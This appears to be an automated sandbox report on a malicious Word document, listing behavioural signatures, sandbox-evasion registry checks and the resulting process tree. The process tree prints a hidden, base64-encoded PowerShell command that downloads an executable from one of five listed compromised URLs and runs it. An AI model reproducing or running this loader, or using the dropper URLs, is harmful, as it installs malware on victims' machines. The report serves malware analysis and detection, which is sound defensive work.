Analysis
-
max time kernel
30s -
resource
win10v191014 -
submitted
27-01-2020 21:09
Task
task1
Sample
874ee3c57ce7d5dcbfcbeb72f6f6458eb9964530fba01f5bf892b612c7e73077.doc
Resource
win10v191014
0 signatures
General
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Target
874ee3c57ce7d5dcbfcbeb72f6f6458eb9964530fba01f5bf892b612c7e73077.doc
-
Sample
200127-9ebxzrksxj
-
SHA256
874ee3c57ce7d5dcbfcbeb72f6f6458eb9964530fba01f5bf892b612c7e73077
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
http://yochina.apps.zeroek.com/assets/GQK9Gly/
exe.dropper
http://www.bandarwinsbobet.com/wp-admin/7bw/
exe.dropper
http://test.pakspaservices.com/wp-content/Yi1j6O7/
exe.dropper
http://portal.meucompromisso.com/wp-admin/kQJ/
exe.dropper
https://wondersofgeorgia.com/wp-admin/jv7hvg/
Signatures
-
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
WINWORD.EXEpid process 4876 WINWORD.EXE -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
Powershell.exedescription pid process Token: SeDebugPrivilege 4408 Powershell.exe -
Suspicious use of WriteProcessMemory 1 IoCs
Processes:
Powershell.exedescription pid process target process PID 4408 wrote to memory of 1824 4408 Powershell.exe 858.exe -
Executes dropped EXE 1 IoCs
Processes:
858.exepid process 1824 858.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 4876 WINWORD.EXE -
Process spawned unexpected child process 1 IoCs
Processes:
Powershell.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4408 5092 Powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
Powershell.exepid process 4408 Powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\874ee3c57ce7d5dcbfcbeb72f6f6458eb9964530fba01f5bf892b612c7e73077.doc" /o ""1⤵
- Suspicious use of SetWindowsHookEx
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
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C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABDAHQAZABoAHcAdAB0AHIAPQAnAFkAcQBiAHQAeQBxAHIAcgB3AGoAcAB6ACcAOwAkAFcAcABsAHQAdAB2AHgAYwB5AGwAawAgAD0AIAAnADgANQA4ACcAOwAkAEsAYQB1AHIAdAB4AGgAZwBvAHMAPQAnAEUAbAB2AGEAdwBoAHcAbgBkAHIAYwAnADsAJABTAHUAcgBpAHIAeABxAHYAawB0AG0AaABvAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABXAHAAbAB0AHQAdgB4AGMAeQBsAGsAKwAnAC4AZQB4AGUAJwA7ACQARwB0AG4AaABtAGQAeAByAHgAbQA9ACcAWgB2AHcAcQBqAG0AYgBoAGEAbgBnAGEAagAnADsAJABCAGgAawBrAGcAbQBjAGsAdgB1AGUAPQAuACgAJwBuAGUAJwArACcAdwAtAG8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAE4AZQBUAC4AdwBlAEIAYwBsAGkARQBuAHQAOwAkAEEAbABhAHAAbABsAGYAYgBxAD0AJwBoAHQAdABwADoALwAvAHkAbwBjAGgAaQBuAGEALgBhAHAAcABzAC4AegBlAHIAbwBlAGsALgBjAG8AbQAvAGEAcwBzAGUAdABzAC8ARwBRAEsAOQBHAGwAeQAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGIAYQBuAGQAYQByAHcAaQBuAHMAYgBvAGIAZQB0AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwA3AGIAdwAvACoAaAB0AHQAcAA6AC8ALwB0AGUAcwB0AC4AcABhAGsAcwBwAGEAcwBlAHIAdgBpAGMAZQBzAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AWQBpADEAagA2AE8ANwAvACoAaAB0AHQAcAA6AC8ALwBwAG8AcgB0AGEAbAAuAG0AZQB1AGMAbwBtAHAAcgBvAG0AaQBzAHMAbwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AawBRAEoALwAqAGgAdAB0AHAAcwA6AC8ALwB3AG8AbgBkAGUAcgBzAG8AZgBnAGUAbwByAGcAaQBhAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBqAHYANwBoAHYAZwAvACcALgAiAHMAUABsAGAAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAQQB5AGcAcwB5AHYAZwBuAGQAdAB6AGMAPQAnAFoAZwB5AGQAYgB3AG0AegB3AHQAZgBiACcAOwBmAG8AcgBlAGEAYwBoACgAJABPAGkAawBlAHkAbABkAGMAdgBsAHgAZAAgAGkAbgAgACQAQQBsAGEAcABsAGwAZgBiAHEAKQB7AHQAcgB5AHsAJABCAGgAawBrAGcAbQBjAGsAdgB1AGUALgAiAGQATwBgAFcAbgBgAGwAYABvAGEARABGAEkAbABlACIAKAAkAE8AaQBrAGUAeQBsAGQAYwB2AGwAeABkACwAIAAkAFMAdQByAGkAcgB4AHEAdgBrAHQAbQBoAG8AKQA7ACQAUwBuAG4AeABzAGwAeABzAHIAdAA9ACcAUwBpAHQAeABrAGsAbQBuACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQAUwB1AHIAaQByAHgAcQB2AGsAdABtAGgAbwApAC4AIgBMAGUATgBnAGAAVABoACIAIAAtAGcAZQAgADIAMAA4ADgAOQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAGAAVABhAHIAdAAiACgAJABTAHUAcgBpAHIAeABxAHYAawB0AG0AaABvACkAOwAkAFgAaAB3AGYAYQBjAG0AbgB4AD0AJwBVAHAAZwBiAGoAZAB3AGcAcABmAGoAeQBlACcAOwBiAHIAZQBhAGsAOwAkAFoAagB1AHAAZQBqAG0AZwBwAD0AJwBHAHcAcQBmAGcAdwBiAHcAbgBlAHEAagBhACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFUAcgBjAG4AagBzAGIAdQBkAGQAcwA9ACcATABpAGkAcQBsAG4AdwB6AHEAagB5AG0AdwAnAA==1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
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C:\Users\Admin\858.exe"C:\Users\Admin\858.exe"2⤵
- Executes dropped EXE